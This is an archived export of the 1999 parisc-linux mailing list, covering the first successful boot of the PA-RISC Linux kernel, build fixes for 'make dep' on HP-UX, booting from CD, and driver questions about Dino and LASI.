Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9621


I'm forwarding this message from Helge, and I'm making sure that the
mailing list is fixed.

- Alex

-------- Original Message --------
Subject: Booting the Linux-Kernel.... !
Date: Fri, 25 Jun 1999 16:28:53 +0200
From: Helge Deller <helge.deller@ruhr-uni-bochum.de>
Reply-To: helge.deller@ruhr-uni-bochum.de
To: parisc-linux <parisc-linux@thepuffingroup.com>

Hi !

Ok, I commited my changes to the bootloader, so that we now can begin to
start with the real kernel-work.

My changes in the bootloader are not very impressive, and you can
consider it as a big, bad hack,
but it does its job (and that is what counts !!). Later we can try to
optimize it...

You have to build your vmlinux on HP-UX (with make vmlinux) and then do
"make Image".
Then you will find the bootable image in /arch/parisc/hp/boot/Image.

The new bootloader reads SOM-Files and places them to their
Origin-Address, which was given in the arch/parisc/Makefile (currently
at 0x80000) and we do not need anymore to write the exec-orgin into the
boot-Image (because it will be done by the linker).

Currently the only problem I have is, that "make dep" doesnt work with
my HP-UX-Machine, so I do "make dep" with my i386 and have the
Kernel-Tree (hosted on i386) connected via NFS from HP-UX. (Could maybe
someone take a look at this ?).
All compilations were done on HP-UX....

PS: You will see the kernel-banner, a spinng cursor and blinking LEDs,
really impressive :-)

Ok,
Thanks to you all !

Helge Deller.


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] GREAT NEWS: THE KERNEL REALLY BOOTS THE FIRST TIME !!!!!!!!!!
Date: Fri, 25 Jun 1999 11:29:34 -0400
Organization: The Puffin Group
Lines: 38
Approved: news@gmane.org
Message-ID: <3773A05E.3C75BE51@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619665 12260 80.91.229.3 (22 Nov 2014 01:27:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:45 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 25 09:20:19 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03042
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 09:20:19 -0600
Original-Received: (qmail 4419 invoked by uid 15267); 25 Jun 1999 15:20:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4412 invoked from network); 25 Jun 1999 15:20:15 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 25 Jun 1999 15:20:15 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id LAA04574
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Jun 1999 11:29:34 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9622

Forwarding this one on as well...

- Alex


-------- Original Message --------
Subject: GREAT NEWS: THE KERNEL REALLY BOOTS THE FIRST TIME !!!!!!!!!!
Date: Fri, 25 Jun 1999 15:49:26 +0200
From: Helge Deller <helge.deller@ruhr-uni-bochum.de>
To: parisc-linux <parisc-linux@thepuffingroup.com>

(PS:maybe this message appears 3 times - sorry, if that should
happen...)

Hi PA-RISC-FANS !

After some (really hard) hours of hacking :

!!!!!!!!!!!!!!!! I GOT THE KERNEL BOOTING !!!!!!!!!!!!!!!!!!!!!!!

Instructions: (as normal!)
make dep clean vmlinux
make Image

You can then find the bootable Image in arch/parisch/hp/boot/Image.

You will see the LEDs blinking !!!!!!!

Im SO HAPPY !
Let the hacking begin !
I will commit my changes in the next hour !

Many thanks to Jason Eckhard & Alex DeVries for their great first
implemenations of IPL/Makefiles !

Helge Deller,
Germany.


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich.Strelow@schering.de
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] make dep not working on HP-UX
Date: Fri, 25 Jun 1999 17:55:04 +0200
Lines: 46
Approved: news@gmane.org
Message-ID: <C125679B.00577445.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619666 12262 80.91.229.3 (22 Nov 2014 01:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Ulrich.Strelow@schering.de  Fri Jun 25 09:55:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id JAA03241
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 09:55:18 -0600
Original-Received: (qmail 12771 invoked by uid 15267); 25 Jun 1999 15:55:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12750 invoked from network); 25 Jun 1999 15:55:12 -0000
Original-Received: from dns1.schering.de (149.234.12.1)
  by mailserv2.iuinc.com with SMTP; 25 Jun 1999 15:55:12 -0000
Original-Received: from be3334.schering.de by dns1.schering.de
          via smtpd (for mailserv2.iuinc.com [206.245.164.55]) with SMTP; 25 Jun 1999 15:55:22 UT
Original-Received: from fw-wiss.schering.de (be2314.schering.de [149.234.1.29])
	by be3334.schering.de (8.9.1/8.9.1) with SMTP id RAA06145
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Jun 1999 17:55:17 +0200 (MET DST)
Original-Received: from be2314.schering.de by fw-wiss.schering.de
          via smtpd (for be3334.schering.de [192.168.11.3]) with SMTP; 25 Jun 1999 15:55:20 UT
Original-Received: by BE2314.schering.de(Lotus SMTP MTA v4.6.2  (693.3 8-11-1998))  id C125679B.00577517 ; Fri, 25 Jun 1999 17:55:16 +0200
X-Lotus-FromDomain: SCHERINGGROUP
Content-Disposition: inline
Xref: news.gmane.org gmane.linux.ports.parisc:9623



I have had a similar problem on our production HP-UX systems. Running ls *
on a directory with a lot of files gives
ksh: /usr/bin/ls: arg list too long

To solve this problem you need to set the HP-UX kernel parameter
large_ncargs_enabled  1
and rebuild the HP-UX kernel.

Here is the information from HP Electronic Support Center:

Problem Description

What is the impact of changing the kernel parameter
"large_ncargs_enabled" from 0 to 1?

What is the meaning of this parameter?

Configuration Info

Operating System - HPUX
Version-
Hardware System - HP 9000
Series -

Solution
When large_ncargs_enabled is set to "1", it increases the default
"environment size" (the memory set aside to be your login
environment - to hold your PATH variable, etc.) from 20478 to
2048000. SAM doesn't have any info about this parm or any max/minvalue.

If you have been having trouble using an "rm *" on really big
directories (it was running out of environment space), the command
will work when you set it to 1.  Regarding system performance, it
will eat up extra memory (2 M vs. 20 K), but if you don't have too
many users and you have plenty of RAM, it shouldn't be a problem.

Ulrich
---------------------------------------------
Ulrich Strelow
<ulrich.strelow@schering.de or
ulrich_strelow@yahoo.com>
Berlin, Germany



From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More on booting...
Date: Fri, 25 Jun 1999 12:45:52 -0400
Organization: The Puffin Group
Lines: 38
Approved: news@gmane.org
Message-ID: <3773B240.B7F682AA@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619666 12263 80.91.229.3 (22 Nov 2014 01:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 25 10:36:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id KAA03619
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 10:36:51 -0600
Original-Received: (qmail 22266 invoked by uid 15267); 25 Jun 1999 16:36:43 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22258 invoked from network); 25 Jun 1999 16:36:42 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 25 Jun 1999 16:36:42 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id MAA04646
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Jun 1999 12:45:58 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9624


Woo!  It worked for me too!


Here's the boot log, manually copied.


Reading parameters...done.
Size = 589824 bytes, location = 0x0002B040.
Loading kernel...
Kernel loaded at 0x00080000, size=0x0005c708
Data   loaded at 0x000DD000, size=0x00014000

Transferring control to kernel. (At entry point 0x00080000)

-----------------------------------------------------------------


Enter: parisc_stopkernel()

-----------------------------------------------------------------

Linux version 2.2.1 (root@crow) (gcc version egcs-2.91.60 19981201
(egcs-1.1.1 release)) #1
  Fri Jun 25 10:19:58 MDT 1999
PARISC/Linux haltet


I've uploaded my binary, which you can download from:
ftp://puffin.external.hp.com/pub/parisc/binaries/kernels/Image-19990625-1


- Alex
-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] make dep not working on HP-UX
Date: Fri, 25 Jun 1999 14:29:41 -0400 (EDT)
Lines: 61
Approved: news@gmane.org
Message-ID: <199906251829.OAA10213@hiauly1.hia.nrc.ca>
References: <C125679B.00577445.00@BE2314.schering.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619666 12267 80.91.229.3 (22 Nov 2014 01:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:46 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ulrich.Strelow@Schering.DE
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 25 12:30:18 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id MAA04234
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 12:30:17 -0600
Original-Received: (qmail 14680 invoked by uid 15267); 25 Jun 1999 18:30:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14617 invoked from network); 25 Jun 1999 18:29:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 25 Jun 1999 18:29:53 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id OAA10213;
	Fri, 25 Jun 1999 14:29:41 -0400 (EDT)
In-Reply-To: <C125679B.00577445.00@BE2314.schering.de> from "Ulrich.Strelow@Schering.DE" at Jun 25, 99 05:55:04 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9625

Change the Makefile to use ./include instead of $(TOPDIR)/include for
the FINDPATH.  This shortens the arg list and make dep will work.

> 
> 
> 
> I have had a similar problem on our production HP-UX systems. Running ls *
> on a directory with a lot of files gives
> ksh: /usr/bin/ls: arg list too long
> 
> To solve this problem you need to set the HP-UX kernel parameter
> large_ncargs_enabled  1
> and rebuild the HP-UX kernel.
> 
> Here is the information from HP Electronic Support Center:
> 
> Problem Description
> 
> What is the impact of changing the kernel parameter
> "large_ncargs_enabled" from 0 to 1?
> 
> What is the meaning of this parameter?
> 
> Configuration Info
> 
> Operating System - HPUX
> Version-
> Hardware System - HP 9000
> Series -
> 
> Solution
> When large_ncargs_enabled is set to "1", it increases the default
> "environment size" (the memory set aside to be your login
> environment - to hold your PATH variable, etc.) from 20478 to
> 2048000. SAM doesn't have any info about this parm or any max/minvalue.
> 
> If you have been having trouble using an "rm *" on really big
> directories (it was running out of environment space), the command
> will work when you set it to 1.  Regarding system performance, it
> will eat up extra memory (2 M vs. 20 K), but if you don't have too
> many users and you have plenty of RAM, it shouldn't be a problem.
> 
> Ulrich
> ---------------------------------------------
> Ulrich Strelow
> <ulrich.strelow@schering.de or
> ulrich_strelow@yahoo.com>
> Berlin, Germany
> 
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 
> 


-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting from CD...
Date: Fri, 25 Jun 1999 16:11:26 -0400
Organization: The Puffin Group
Lines: 11
Approved: news@gmane.org
Message-ID: <3773E26E.164B31F5@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619666 12269 80.91.229.3 (22 Nov 2014 01:27:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:46 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 25 14:02:25 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA04562
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 14:02:24 -0600
Original-Received: (qmail 1584 invoked by uid 15267); 25 Jun 1999 20:02:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1535 invoked from network); 25 Jun 1999 20:02:08 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 25 Jun 1999 20:02:08 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id QAA04815
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Jun 1999 16:11:26 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9626


How do PA RISC machines manage booting from CD?  How does one create
such a CD?

- Alex

-- 
Alex deVries
Vice President of Engineering
The Puffin Group


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from CD...
Date: Fri, 25 Jun 1999 16:18:34 -0400 (EDT)
Lines: 16
Approved: news@gmane.org
Message-ID: <199906252018.QAA11141@hiauly1.hia.nrc.ca>
References: <3773E26E.164B31F5@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619667 12273 80.91.229.3 (22 Nov 2014 01:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:47 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: adevries@thepuffingroup.com (Alex deVries)
Original-X-From: dave@hiauly1.hia.nrc.ca  Fri Jun 25 14:18:46 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id OAA04872
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 14:18:44 -0600
Original-Received: (qmail 4826 invoked by uid 15267); 25 Jun 1999 20:18:40 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4796 invoked from network); 25 Jun 1999 20:18:32 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 25 Jun 1999 20:18:32 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id QAA11141;
	Fri, 25 Jun 1999 16:18:34 -0400 (EDT)
In-Reply-To: <3773E26E.164B31F5@thepuffingroup.com> from "Alex deVries" at Jun 25, 99 04:11:26 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:9627

> How do PA RISC machines manage booting from CD?  How does one create
> such a CD?

I am not sure exactly but you could try just writing the LIF image
to the CD.  Because HP's IPL can boot from a hpux file system, a PA
machine can probably also boot from a CD with a hpux file system
on it.  I doubt HP machines can boot from an ISO 9660 CD.

Most CD writing software has a mode that allows copying a binary
image file to a CD.  There are some issues regarding CD sector
size.  You want the image to be an integral number of CD sectors.

-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matthew Earley" <mearley@nortelnetworks.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting from CD...
Date: Fri, 25 Jun 1999 16:40:35 -0400
Organization: Nortel Networks
Lines: 17
Approved: news@gmane.org
Message-ID: <3773E943.F0ACB652@americasm01.nt.com>
References: <3773E26E.164B31F5@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619667 12278 80.91.229.3 (22 Nov 2014 01:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: mearley@nortelnetworks.com  Fri Jun 25 15:04:51 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA05146
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 15:04:51 -0600
Original-Received: (qmail 14685 invoked by uid 15267); 25 Jun 1999 21:04:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14623 invoked from network); 25 Jun 1999 21:04:07 -0000
Original-Received: from smtprtp.nortelnetworks.com (HELO smtprtp.nortel.com) (192.122.117.66)
  by mailserv2.iuinc.com with SMTP; 25 Jun 1999 21:04:07 -0000
Original-Received: from zrtpd004.us.nortel.com (actually nrtpd004) by smtprtp.nortel.com;
          Fri, 25 Jun 1999 16:41:01 -0400
Original-Received: from zrtpd003.us.nortel.com ([47.140.224.137]) 
          by zrtpd004.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) 
          id NS8X4KD8; Fri, 25 Jun 1999 16:40:36 -0400
Original-Received: from wpgch00d.us.nortel.com by zrtpd003.us.nortel.com 
          with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8) 
          id NQV6B0T6; Fri, 25 Jun 1999 16:40:36 -0400
Original-Sender: "Matthew Earley" <mearley@nortelnetworks.com>
X-Mailer: Mozilla 4.06 [en] (X11; I; HP-UX B.10.20 9000/712)
Xref: news.gmane.org gmane.linux.ports.parisc:9628

Alex deVries wrote:
> 
> How do PA RISC machines manage booting from CD?  How does one create
> such a CD?

I am doing that as I read your post.  The Ignite-UX toolkit available on
software.hp.com has the tools to do this.  See make_medialif.  I make a
HFS file images that have Ignite golden images and SD software depots.
make_medialif creates the LIF file with the INSTALL boot and Ignite
config stuff. The instl_combine command wraps the LIF file containing
the INSTLALL kernel and INSTALLFS filesystem around my HFS image file. I
then use cdrecord to write the whole enchilada to CD-R.   

Matt
--
Matt Earley  nortelnetworks.com


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [Fwd: new commits for the kernel]
Date: Fri, 25 Jun 1999 23:35:08 -0400
Organization: The Puffin Group
Lines: 28
Approved: news@gmane.org
Message-ID: <37744A6C.3A570E1E@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619667 12281 80.91.229.3 (22 Nov 2014 01:27:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:47 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Fri Jun 25 21:26:06 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id VAA06114
	for <parisc-linux@puffin.external.hp.com>; Fri, 25 Jun 1999 21:26:06 -0600
Original-Received: (qmail 8029 invoked by uid 15267); 26 Jun 1999 03:26:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 8022 invoked from network); 26 Jun 1999 03:25:59 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 26 Jun 1999 03:25:59 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id XAA05353
	for <parisc-linux@thepuffingroup.com>; Fri, 25 Jun 1999 23:35:15 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9629

More good news from Helge...  I've also committed a few small fixes.

>From what I know, the descriptions in machines.h (which I transcribed on
a bus from Montreal to Ottawa in March) are reasonably up to date.

- Alex

-------- Original Message --------
Subject: new commits for the kernel
Date: Sat, 26 Jun 1999 04:00:03 +0200
From: Helge Deller <Helge.Deller@ruhr-uni-bochum.de>
To: Alex deVries <adevries@thepuffingroup.com>

Hi again.

I have committed again some changes, so that the kernel now uses the
real
linux-console-code, and at start it shows you the name of the machine
(mine is: Mirage Jr. (715/64)).
If your machine-name isnt shown, take a look into machines.c &
setup.c..... esp. identification-code for PA2.x-Machines could be
updated.

The code for getcpu_info() [proc-fs] is also implemented.

Bye,
Helge Deller.


From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-linux-ld
Date: Sat, 26 Jun 1999 17:19:48 +0200
Lines: 24
Approved: news@gmane.org
Message-ID: <3774EF94.C57237A5@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619668 12286 80.91.229.3 (22 Nov 2014 01:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:48 +0000 (UTC)
Cc: parisc-linux <parisc-linux@thepuffingroup.com>
To: Alex deVries <adevries@thepuffingroup.com>
Original-X-From: deller@gmx.de  Sun Jun 27 01:51:41 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA06918
	for <parisc-linux@puffin.external.hp.com>; Sun, 27 Jun 1999 01:51:40 -0600
Original-Received: (qmail 9345 invoked by uid 15267); 27 Jun 1999 07:51:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26380 invoked from network); 26 Jun 1999 15:15:03 -0000
Original-Received: from sunu450.rz.ruhr-uni-bochum.de (134.147.222.33)
  by mailserv2.iuinc.com with SMTP; 26 Jun 1999 15:15:03 -0000
Original-Received: (qmail 13849 invoked from network); 26 Jun 1999 15:15:13 -0000
Original-Received: from dialppp-1-148.rz.ruhr-uni-bochum.de (HELO gmx.de) (134.147.1.148)
  by mailhost.rz.ruhr-uni-bochum.de with SMTP; 26 Jun 1999 15:15:13 -0000
X-Mailer: Mozilla 4.51 [de]C-CCK-MCD QXW03200  (Win95; I)
X-Accept-Language: de,en
Xref: news.gmane.org gmane.linux.ports.parisc:9630

Hi Alex !

Could maybe someone make me a patched "parisc-linux-ld" binary, where I
can do

parisc-linux-ld -R xyz -N        ( or any other letter for -R)

where xyz should be the origin of the ELF-binary, which is currently
0x2000 as seen in the mapfile ? (or is there any other possibility,
because -R at GNU-ld is not used for origin, but for symbol-names...).

If I would have such an patched linker, I maybe could try make the
cross-compiled ELF-binary bootable.....

Helge Deller..

--
---------------------------------------
 Mailto:deller@gmx.de
 ICQ# 2046114
---------------------------------------




From - Thu Nov 08 21:15:42 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Dino and Lasi
Date: Mon, 28 Jun 1999 01:26:46 -0400
Organization: The Puffin Group
Lines: 22
Approved: news@gmane.org
Message-ID: <37770796.C70E0C65@thepuffingroup.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619668 12288 80.91.229.3 (22 Nov 2014 01:27:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:27:48 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@thepuffingroup.com  Sun Jun 27 23:17:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA09316
	for <parisc-linux@puffin.external.hp.com>; Sun, 27 Jun 1999 23:17:14 -0600
Original-Received: (qmail 741 invoked by uid 15267); 28 Jun 1999 05:17:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 733 invoked from network); 28 Jun 1999 05:17:25 -0000
Original-Received: from cpu2753.adsl.bellglobal.com (HELO feather.thepuffingroup.com) (@207.236.55.222)
  by mailserv2.iuinc.com with SMTP; 28 Jun 1999 05:17:25 -0000
Original-Received: from thepuffingroup.com (IDENT:adevries@localhost [127.0.0.1])
	by feather.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id BAA06360
	for <parisc-linux@thepuffingroup.com>; Mon, 28 Jun 1999 01:26:51 -0400
Original-Sender: adevries@feather.thepuffingroup.com
X-Mailer: Mozilla 4.51 [en] (X11; I; Linux 2.2.5-15 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:9631



Okay, I've committed some small changes to dino and lasi that can easily
be backed out.

some questions:

- what IRQ are we going to run LASI on?  Is that something we just pick
and hard code?

- I changed lasi.c and dino.c to only use readl() and writel(), and not
readb and writew, etc.  Was this a mistake?

- We really really need the IRQ bottom halfs setup.  Any takers?

- Alex

-- 
Alex deVries
